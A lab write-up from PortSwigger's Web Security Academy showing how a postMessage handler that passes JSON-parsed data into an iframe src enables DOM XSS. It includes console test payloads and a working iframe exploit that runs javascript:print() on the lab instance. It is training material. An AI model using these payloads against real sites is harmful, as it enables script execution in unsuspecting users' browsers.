| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | DOM XSS via postMessage → JSON.parse → iframe.src |
| Difficulty | Practitioner |
| Objective | Send a web message that calls print() via a javascript: URI loaded into an iframe |
DOM XSS Using Web Messages and JSON.parse — Writeup¶
Initial Observation¶
Inspecting the page source reveals this script:
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
The page listens for messages, parses the data as JSON, and branches on d.type. The load-channel case sets ACMEplayer.element.src = d.url — that's an iframe src being written directly from message data. If we can control d.url, we control what the iframe loads.
The iframe is already on the page:
Web — Testing the JSON Message Handler¶
Testing load-channel in the console — sending a JSON string with type set to load-channel and a url pointing somewhere:
postMessage("{\"type\": \"load-channel\", \"url\": \"https://google.com\"}")
X-Frame-Options error from Google — but that confirms the iframe is actually loading the URL we sent. Trying a javascript: URI instead:
postMessage("{\"type\": \"load-channel\", \"url\": \"javascript:alert(0)\"}")
Alert fires. Setting iframe.src to a javascript: URI executes the script in the iframe's context.
Attack Path¶
Exploit — iframe + postMessage with JSON Payload¶
<iframe src="https://0a3900d3040e0b3c802b1295008100f5.web-security-academy.net/" onload='this.contentWindow.postMessage("{\"type\": \"load-channel\", \"url\": \"javascript:print()\"}", "*")'></iframe>
Storing it and viewing the exploit:
print() fires. Delivering to victim:
Lab solved :p